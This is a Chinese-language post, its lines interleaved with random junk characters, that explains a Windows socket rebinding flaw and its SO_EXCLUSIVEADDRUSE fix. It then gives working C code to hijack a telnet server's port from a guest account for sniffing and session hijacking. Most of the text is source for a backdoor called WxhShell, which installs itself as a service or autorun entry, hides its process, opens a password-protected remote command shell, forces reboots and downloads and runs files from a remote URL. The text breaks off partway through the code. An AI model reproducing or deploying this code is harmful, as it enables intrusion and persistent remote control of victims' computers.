在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*doNPp)m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Y%pab/Y -8Jw_ saddr.sin_family = AF_INET;
CM;b_E)9)f =p+y$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7>FXsUt_
=<HDek bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ld4U S<tw5!tJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M+)a6g e 1(
pHC 这意味着什么?意味着可以进行如下的攻击:
Wg']a/m lW+mH= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-(qRC0V Zh"m;l/] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[#PE'i4 a=iupXre9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
b/wpk~qi |9CikLX)7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
I//=C6 6':iW~iI 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
WYP ;s7_ ;<[X\;|' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%6UF%dbYH` h>-P / 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
TNX9Z)=>g I;(3)^QH# #include
at: li #include
3S^0%"fY #include
# B `?}a= #include
;_o]$hV| DWORD WINAPI ClientThread(LPVOID lpParam);
is'V%q int main()
qt/K$' {
al2t\Iq90 WORD wVersionRequested;
MdHm%Vx DWORD ret;
E+f)Zg
: WSADATA wsaData;
Harg<l BOOL val;
}E'0vf/ SOCKADDR_IN saddr;
uDf<D.+5Ze SOCKADDR_IN scaddr;
Nk|cU;?+ int err;
j(;^XO Y# SOCKET s;
,,H "?VO SOCKET sc;
d9N[f> int caddsize;
!?2)apM HANDLE mt;
8>Cr6m DWORD tid;
GG}% wVersionRequested = MAKEWORD( 2, 2 );
8y;Rw#Dz err = WSAStartup( wVersionRequested, &wsaData );
]c.w+< if ( err != 0 ) {
79\wjR!T printf("error!WSAStartup failed!\n");
_P>YG<*"kQ return -1;
#[93$)Gd! }
8bIP"!=*W saddr.sin_family = AF_INET;
i5,iJe0cA 5xQ-f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>=~\b 2]>O ZhS saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}3pM,. saddr.sin_port = htons(23);
@<.@X*#I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Gw
M:f/eV {
!`DRJ)h printf("error!socket failed!\n");
I \:WD" return -1;
&V"oJ}M/a }
ll:UIxx val = TRUE;
ZnG.::&: //SO_REUSEADDR选项就是可以实现端口重绑定的
V Z(/g"9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
bGRt {
qQ@| Cj printf("error!setsockopt failed!\n");
WK~H]w return -1;
hW^,' m }
ajYe?z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9T,/R1N8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
SN{z)q
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Cux(v8=n y<)TYr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-YRIe<}E - {
F:{*4b ret=GetLastError();
Up9{aX printf("error!bind failed!\n");
s#2t\}/ return -1;
%fS9F^AK }
7)66e listen(s,2);
0-2|(9
Kc while(1)
b}e1JPk}! {
h$cm:uks caddsize = sizeof(scaddr);
R4?>C-; //接受连接请求
7|rH9Bc{U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tne_]+ if(sc!=INVALID_SOCKET)
sZ;|NAx) {
h
><Sp*z_V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E$8JrL if(mt==NULL)
mxc)Wm<4 {
Q7%4 `_$! printf("Thread Creat Failed!\n");
kfy!T rf break;
6Q.S }
QY\k3hiqn }
H4/wO CloseHandle(mt);
_|k$[^ln^ }
\Mf>X\} closesocket(s);
PEMkx"h + WSACleanup();
YQVo7"`% return 0;
G6SgVaM }
)rc!irac] DWORD WINAPI ClientThread(LPVOID lpParam)
?gH[la {
tUn>=>cWP SOCKET ss = (SOCKET)lpParam;
Q
eeV< SOCKET sc;
"wUIsuG/p unsigned char buf[4096];
pYr"3BwG SOCKADDR_IN saddr;
J<)qw long num;
k,h602( DWORD val;
d{z[46> DWORD ret;
te_2"Z //如果是隐藏端口应用的话,可以在此处加一些判断
`lf_wB+I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-,bFGTvYQ saddr.sin_family = AF_INET;
'&>"`q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,
X5.|9 saddr.sin_port = htons(23);
AGBV7Kk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
exRw, Nk4 {
7DB_Z/uU printf("error!socket failed!\n");
'yo@5*x7 return -1;
FX:`7c]:9 }
[KDxB>R<{ val = 100;
&kb`)F3nU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FD=%
4#| {
X/_I2X ret = GetLastError();
AtT7~cVe return -1;
JsEJ6!1 }
N?GTfN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<-lM9}vd {
STKL ret = GetLastError();
\Z{tC$|H return -1;
uvys>]+ }
{X{R] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C.j+Zb1Z( {
KE?t?p printf("error!socket connect failed!\n");
W.wPy@yi closesocket(sc);
$8EEtr,! closesocket(ss);
@"w4R6l+* return -1;
-I< >Ab }
Vk5Z[w a while(1)
C@M-_Ud>Q {
X>(1fra4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,67Q!/O //如果是嗅探内容的话,可以再此处进行内容分析和记录
A40DbD\^ad //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
('J/Ww< num = recv(ss,buf,4096,0);
o3WOp80hz if(num>0)
ChBf:`e send(sc,buf,num,0);
,H7X_KbFD4 else if(num==0)
oFk2y ^>u break;
"N4^ ^~s num = recv(sc,buf,4096,0);
XF`2*:7 if(num>0)
P^Hgm send(ss,buf,num,0);
+Y;P*U}Qg[ else if(num==0)
c:Ua\$)u3, break;
h>Kx }
,EqQU| closesocket(ss);
*v<f#hB" closesocket(sc);
HU0.)tD return 0 ;
#G9
W65 f }
sz7*x{E d0J/"< !j~wAdHk ==========================================================
.)E#*kLWR L!f~Am:# 下边附上一个代码,,WXhSHELL
BR|!ya+_2 S"bN9?;#u ==========================================================
nz 10/nw i4D(8; #include "stdafx.h"
bpu`'Vx Iu'9yb #include <stdio.h>
)\wkVAm #include <string.h>
PgtLyzc #include <windows.h>
Ku5||u.F4* #include <winsock2.h>
X'A`"}=_ #include <winsvc.h>
Bwg(f_[1 #include <urlmon.h>
uHbg&eW v>X!/if<y #pragma comment (lib, "Ws2_32.lib")
jCd]ENl+_ #pragma comment (lib, "urlmon.lib")
]3r}>/2( Upz)iOqLi #define MAX_USER 100 // 最大客户端连接数
_kKG%U.gbK #define BUF_SOCK 200 // sock buffer
Y;w|Fvjj+ #define KEY_BUFF 255 // 输入 buffer
44CZl{pt oZ{,IZ45 #define REBOOT 0 // 重启
HG"ZN)~ #define SHUTDOWN 1 // 关机
oXo>pl ~DH9iB #define DEF_PORT 5000 // 监听端口
J,$xQ?,wE .jRI
$vm #define REG_LEN 16 // 注册表键长度
Y1r$;;sH #define SVC_LEN 80 // NT服务名长度
1UQ,V`y :>-zT[Lcn // 从dll定义API
XQ1]F{?/H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
18$d-[hX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]w *"KG!( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-"-.Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VuLb9Kn \zd[A~! // wxhshell配置信息
rrIyZ@_d9 struct WSCFG {
A}fm).Wp@ int ws_port; // 监听端口
hs6pp/h> char ws_passstr[REG_LEN]; // 口令
M+"6VtZH int ws_autoins; // 安装标记, 1=yes 0=no
#p+iwW- char ws_regname[REG_LEN]; // 注册表键名
HDm]njF%qQ char ws_svcname[REG_LEN]; // 服务名
2gWR2 H@ char ws_svcdisp[SVC_LEN]; // 服务显示名
wd:Yy char ws_svcdesc[SVC_LEN]; // 服务描述信息
9qX$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Y S3~sA int ws_downexe; // 下载执行标记, 1=yes 0=no
2EgvS!" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@@R Mm$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]*dYX=6 s|IBX0^@ };
OvH:3"Sdy EBh dP // default Wxhshell configuration
# epP~J_f struct WSCFG wscfg={DEF_PORT,
wv~:^v' "xuhuanlingzhe",
@Y0ZW't 1,
xMbgBx4+ "Wxhshell",
.!1[I{KU "Wxhshell",
3f=ZNJ> "WxhShell Service",
sY<UJlDKT "Wrsky Windows CmdShell Service",
r8"2C# "Please Input Your Password: ",
=gF035 1,
6R :hs C$ "
http://www.wrsky.com/wxhshell.exe",
w!lk&7Q7Z "Wxhshell.exe"
zJXK:/ };
2poo@]M/ }u#3 hYa // 消息定义模块
Jp jHbG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
L|1,/h
8p char *msg_ws_prompt="\n\r? for help\n\r#>";
,#;hI{E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
MkW=sD_ char *msg_ws_ext="\n\rExit.";
V 7,dx@J- char *msg_ws_end="\n\rQuit.";
Gf8 ^nfr char *msg_ws_boot="\n\rReboot...";
2:
QT`e& char *msg_ws_poff="\n\rShutdown...";
MKbcJZe char *msg_ws_down="\n\rSave to ";
\.2i?<BC &JX<)JEB=< char *msg_ws_err="\n\rErr!";
X~IilGL8: char *msg_ws_ok="\n\rOK!";
zk<V0NJIL* -!!]1\S*Y char ExeFile[MAX_PATH];
[4?r0vO int nUser = 0;
~d7t\S HANDLE handles[MAX_USER];
2l?^\9& int OsIsNt;
iM!Ya! b}TvQ+W]2 SERVICE_STATUS serviceStatus;
v4e4,Nt SERVICE_STATUS_HANDLE hServiceStatusHandle;
Z9: -k + jMH // 函数声明
;gBR~W int Install(void);
&G2&OFAr]q int Uninstall(void);
)>2L(~W int DownloadFile(char *sURL, SOCKET wsh);
n1%2sV)> int Boot(int flag);
/<_!Gz.@uG void HideProc(void);
ZH~bY2^; int GetOsVer(void);
BP..p ^EPN int Wxhshell(SOCKET wsl);
75a3hPCZ void TalkWithClient(void *cs);
Hn >VPz+I int CmdShell(SOCKET sock);
Bq$IBAot int StartFromService(void);
#^$_/Q#C int StartWxhshell(LPSTR lpCmdLine);
]RAh['u| 1IoW}yT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pPa]@ z~O VOID WINAPI NTServiceHandler( DWORD fdwControl );
.B~}hjOZK s(py7{ ^K // 数据结构和表定义
'goKYl#1Q SERVICE_TABLE_ENTRY DispatchTable[] =
*=i&n> {
+yI$4MY {wscfg.ws_svcname, NTServiceMain},
@Ommd{0M {NULL, NULL}
-]wEk%j };
U4*u|A YE@yts // 自我安装
e-*@R#x8+ int Install(void)
jyD~ER}J {
7c"Csq/]I char svExeFile[MAX_PATH];
R'sNMWM HKEY key;
c:7V.. strcpy(svExeFile,ExeFile);
=?$~=1SL+ (Y'cxwj% // 如果是win9x系统,修改注册表设为自启动
mrr]{K if(!OsIsNt) {
]I)ofXu] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L\UPM+tE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X<5fn+{]S: RegCloseKey(key);
oeg
Bk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
GXxI=,L8F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~~Bks{"BS RegCloseKey(key);
hDi~{rbmc return 0;
56JQ h }
O?g;Ny }
@%fTdneH }
T9R#.y, else {
.K84"Gdx mhVLlbY|t // 如果是NT以上系统,安装为系统服务
:%&
E58 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-TVwoK if (schSCManager!=0)
EMP|I^ {
)Xqjl SC_HANDLE schService = CreateService
FD[*Q2fU (
O*v&CHd3 schSCManager,
vyDxX wscfg.ws_svcname,
.v(GVkE} wscfg.ws_svcdisp,
wH8J?j"5> SERVICE_ALL_ACCESS,
,=\.L_' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
MrzD
ah9UG SERVICE_AUTO_START,
T^Ia^B-%}g SERVICE_ERROR_NORMAL,
Q>D//_TF svExeFile,
>SQzE NULL,
"a].v 8l! NULL,
6!>p<p"Ns NULL,
XfE0P(sE NULL,
cO7ii~&%! NULL
@\nQ{\^; );
:+6W%B if (schService!=0)
q83^?0WD {
]=t}8H CloseServiceHandle(schService);
h,FU5iK| CloseServiceHandle(schSCManager);
+rU{-`dy9' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<=p>0L strcat(svExeFile,wscfg.ws_svcname);
hYpxkco"4' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
QOEi.b8r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
k Nc-@B RegCloseKey(key);
p/
xlR[ return 0;
v4hrS\M }
3N$@K"qM# }
"LlQl3"= CloseServiceHandle(schSCManager);
C*ep8{B }
ewd
eC }
mH\zSk QTBc_Z return 1;
VOD-<
"| }
lS9S7` @=l6zd@ // 自我卸载
~(v5p"]dj int Uninstall(void)
a%.W9=h=M( {
0e<>2AL
HKEY key;
%d];h <[\I`kzq if(!OsIsNt) {
+# 'w}
P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d)1gpRp RegDeleteValue(key,wscfg.ws_regname);
AE>W$x8P RegCloseKey(key);
Bk\Y v0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Wz.iDRFl RegDeleteValue(key,wscfg.ws_regname);
C<C$df
RegCloseKey(key);
5e.aTW;U return 0;
l#enbQ`-~ }
peu9Bgs }
/>mK.FT }
"'bl)^+?, else {
YA,~qT| lND2Kb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"x9yb0 if (schSCManager!=0)
z |llf7: {
4
9N.P;b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nrMW5>&-` if (schService!=0)
>I\B_q {
Q&.uL}R if(DeleteService(schService)!=0) {
0zNbux_ CloseServiceHandle(schService);
@\w}p E CloseServiceHandle(schSCManager);
{)"[_< return 0;
4*qBu}( }
)>{.t=# CloseServiceHandle(schService);
te(H6c#0 }
uCr& ` CloseServiceHandle(schSCManager);
BJwuN }
F8Ety^9>9 }
"6\5eFN; z.8 nYL5^} return 1;
.f J8 }
N-QS/*C.~ Qpv#&nfUi6 // 从指定url下载文件
k5E2{&wZ int DownloadFile(char *sURL, SOCKET wsh)
3bWGWI {
_Z]l=5d HRESULT hr;
'wEQvCS char seps[]= "/";
<z\SKR[ char *token;
]TT >3"Dw7 char *file;
fYjmG[4 char myURL[MAX_PATH];
Q//
@5m_ char myFILE[MAX_PATH];
*"WP*A\1 |:5O|m ' strcpy(myURL,sURL);
'(@q"`n token=strtok(myURL,seps);
ZwBz\jmbP while(token!=NULL)
IMwV9rF {
~BuzI9~7P file=token;
$h
pUI token=strtok(NULL,seps);
%CHw+wT& }
Cd)g8< 0 YFXF GetCurrentDirectory(MAX_PATH,myFILE);
3[u-
LYW strcat(myFILE, "\\");
lo>9 \ Po strcat(myFILE, file);
F}So=Jz9h send(wsh,myFILE,strlen(myFILE),0);
]6B9\C.2-_ send(wsh,"...",3,0);
b_RO%L:"yL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`B@eeXa;u if(hr==S_OK)
5NZuaN return 0;
Jm<NDE~rw else
iSO xQ return 1;
aI&~aezmN `hO%(9V9 }
56z>/`= ?@4Mt2Z\ // 系统电源模块
A#cFO)" int Boot(int flag)
i'li;xUhZ {
Bza<.E= HANDLE hToken;
XiTi3vCe TOKEN_PRIVILEGES tkp;
nrKAK^ |p[Mp:^^ if(OsIsNt) {
&Tt7VYJfIV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-+@N/d5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
n#x_da-m] tkp.PrivilegeCount = 1;
]%D!-[C%1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Pv5S k8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F%-@_IsG# if(flag==REBOOT) {
pRV.\*:c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
P^<3 Z)L return 0;
3%'`^<-V }
e2c'Wab else {
MS;^:t1` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
d]e36Dwk return 0;
<8 <P, }
@>O7/d?O }
[T r7SU#x else {
Dst;sLr[, if(flag==REBOOT) {
^WB[uFt- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,nYa+e return 0;
?I^$35 }
h@R n)D else {
0]7jb_n1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
6Sd:5eTEQ return 0;
M,JwoKyg }
K*j
OrQf` }
#6\mTL4vg zgjgEhnvU return 1;
s U`#hL6; }
O~qRHYv u;$qJjS
N // win9x进程隐藏模块
B0b|+5WhR void HideProc(void)
k_}$d{X {
$V3If <lFHmi$qt{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
MXaik+2 if ( hKernel != NULL )
t#P7'9Se8 {
|.Vgk8oTl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
v];YC6shx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8i]
S[$Fc FreeLibrary(hKernel);
(Z>?\iNJ }
mh"PA p LAc60^t1 return;
*Hn=)q }
zqj|$YNC Fxa{
9'99 // 获取操作系统版本
,|RKM int GetOsVer(void)
i}8OaX3x {
poafGoH-Y OSVERSIONINFO winfo;
E'{:HX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@lDnD%vZ` GetVersionEx(&winfo);
n>u_>2Ikkj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
9<rs3 84 return 1;
]vf_4QW= else
O<p=&=TD7 return 0;
bJMsB|r }
t }4 b)IQa,enH // 客户端句柄模块
8g8eY pG int Wxhshell(SOCKET wsl)
%TI3Eb {
UucX1% SOCKET wsh;
r8 YM#dF struct sockaddr_in client;
f`ibP6% DWORD myID;
mxCneX 0@?m"|G while(nUser<MAX_USER)
tLKf]5}f {
2gK]w$H7! int nSize=sizeof(client);
Me z&@{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
UBW,Q+Q if(wsh==INVALID_SOCKET) return 1;
D6lzcf !)oQ9,N handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^"<Bk<b( if(handles[nUser]==0)
DC).p'0VL closesocket(wsh);
2<UC^vZ else
6k@F?qHS nUser++;
]/h$6mrL }
'['%b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
uM'n4 oH *Jcd_D\-(1 return 0;
`%[m%Y9h }
c86?-u') }f;TG:6 // 关闭 socket
/Zs_G=\> void CloseIt(SOCKET wsh)
p}==aNZK {
"a;$uW@.6 closesocket(wsh);
7@ONCG nUser--;
j9c:SP5 ExitThread(0);
q<.k:v& }
U^[AW$WzU GTbV5{Ss // 客户端请求句柄
sQ\HIU%] void TalkWithClient(void *cs)
7p'pz8n`X {
5+{oQs_ 5xKod0bA SOCKET wsh=(SOCKET)cs;
KU"+i8" char pwd[SVC_LEN];
Il\{m?Y char cmd[KEY_BUFF];
|a])o char chr[1];
O=} int i,j;
p5rq>&" 93Gj#Mk while (nUser < MAX_USER) {
? .B t. T*B`8P if(wscfg.ws_passstr) {
jHT^I
as if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_t]Q*i0p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z{BgAI, //ZeroMemory(pwd,KEY_BUFF);
GNHXtu6 i=0;
uUp>N^mmVH while(i<SVC_LEN) {
4#W$5_Ny L}Sb0 o. // 设置超时
IN6L2/Q fd_set FdRead;
eI`%J3BxR struct timeval TimeOut;
(5`(H.( FD_ZERO(&FdRead);
A]QGaWK FD_SET(wsh,&FdRead);
D
dwFKc& TimeOut.tv_sec=8;
*>aVU' TimeOut.tv_usec=0;
@ukL!AV?Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;L76V$& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0;1O;JRw g}6M+QNj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,^1 #Uz8 pwd
=chr[0]; N49{J~
if(chr[0]==0xd || chr[0]==0xa) { KJ&I4CU]^
pwd=0; j-aTpN
break; $bpu
} >G?*rg4
i++; .0/"~5
} \v:Z;EbX
SsMs#C8u%
// 如果是非法用户,关闭 socket ,,j> 2Ts
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /w6'tut
} $&,
KZ>
<aFB&Fm
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,
DuyPBAms
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W4qT]m
F{ 4k2Izr
while(1) { `\z )EoI
~|~ 2B$JeV
ZeroMemory(cmd,KEY_BUFF); lGT[6S\as
Zl#';~9W
// 自动支持客户端 telnet标准 (O:&RAkk7
j=0; :`BG/
while(j<KEY_BUFF) { kG4])qxC'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j/wQ2"@a
cmd[j]=chr[0]; k;Qm%B
if(chr[0]==0xa || chr[0]==0xd) { b:O_PS5h
cmd[j]=0; \qW^AD(it<
break; T|$tQgY^
} 5<KBMCn
j++; b
H5lLcdf
} B|^=2 >8s
P"Q6 wdm
// 下载文件 dZkKAK:v
if(strstr(cmd,"http://")) { 1'&HmBfcb
send(wsh,msg_ws_down,strlen(msg_ws_down),0); B&!>& Rbx
if(DownloadFile(cmd,wsh)) #Wl9[W/4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~r})&`5
else y9i+EV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X+\=dhn69
} #Ph8?
else { ?`
ebi|6
"_rpErm
}
switch(cmd[0]) { ^Kl<<pUaV
yJ; ;&
// 帮助 #K-O<:s=y
case '?': { DM)Re~*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A)SnPbI-p
break; _!Z}HCk
} qpf|.m
// 安装 5
r<cna
case 'i': { B.Z5+MgM
if(Install()) 04X/(74
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l,QO+
>)z
else 5@bmm]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;;^?vS
break; -q-BP}r3
} C?g*c
// 卸载 Ln h'y`q
case 'r': { SrWmV@"y
if(Uninstall()) HZ{DlH;&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5C-n"8&C&
else >Zm|R|{BE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &oVZ2.O#(
break; k^UrFl
} ^D
{v L
// 显示 wxhshell 所在路径 >I/~)B`jhE
case 'p': { caTKi8
char svExeFile[MAX_PATH]; ?|<p^:
strcpy(svExeFile,"\n\r"); u]3VK
strcat(svExeFile,ExeFile); i#U_g:~wC
send(wsh,svExeFile,strlen(svExeFile),0); 9M[
break; DQN"85AIZ
} bHs},i6
// 重启 NU7k2`bqAk
case 'b': { TDR#'i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D0gz
((
if(Boot(REBOOT)) do< N+iK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jj1lAg0
else { S:
g 2V
closesocket(wsh); `GooSX
ExitThread(0); h&Q-QU
} srU*1jD)
break; :?3y)*J!
} $4CsiZ6
// 关机 8\`otJY
case 'd': { *U,W4>(B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S }G3h a
if(Boot(SHUTDOWN)) F
B&l|#e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ot^$/(W
else { Eo<N
closesocket(wsh); @7Nc*-SM
ExitThread(0); 'yAHB* rQR
} a/q8v P
break; +\B.3%\-
} +227SPLd
// 获取shell Uv:NY1(3!
case 's': { AT^MQvn
CmdShell(wsh); kqS_2[=]
closesocket(wsh); TGG-rA6@Lx
ExitThread(0); Bp=BRl
break; n]_<6{: U
} wcDb| H&
// 退出 +oa>k
0
case 'x': { <;E>1*K}8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z#_VxA>]v
CloseIt(wsh); $olITe"$g
break; G9c2kX.Bf
} +,0 :L :a
// 离开 r}XsJ$
case 'q': { ='.G,aJ9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0yKPYA*j
closesocket(wsh); vo'{phtF)M
WSACleanup(); ")GrQv a
exit(1); lHoV>k
break; 4,6nk.$yN
} * p,2>[e
} S6|L !pO
} Ha!]*wg#
X;p4/ *U
// 提示信息 :P\RiaZAT
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ')v<MqBr
} _sNJU
} kD4J{\
rWzO>v
return; [YQ` `
} sJ cwN.s
[-x]%
// shell模块句柄 x;>~;vmi
int CmdShell(SOCKET sock) E{Y)=tW[
{ *}N J
STARTUPINFO si; ]`n6H[6O
ZeroMemory(&si,sizeof(si)); ~f!iz~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R`emI7|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DWar3+u&0
PROCESS_INFORMATION ProcessInfo; 0%hOB:
char cmdline[]="cmd"; 1ml{oqNj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bp(X\:zAy
return 0; "+ 8Y{T
} ?Kf?Z`9 *Y
"0A !fRI~
// 自身启动模式 ;1woTAuD
int StartFromService(void) 6
g`Y~ii
{ wfF0+T+IA
typedef struct !T8h+3I
{ 9^1.nE(R&
DWORD ExitStatus; j.y8H
DWORD PebBaseAddress; E6y ?DXWH
DWORD AffinityMask; 73d7'Fw
DWORD BasePriority; i_qR&X
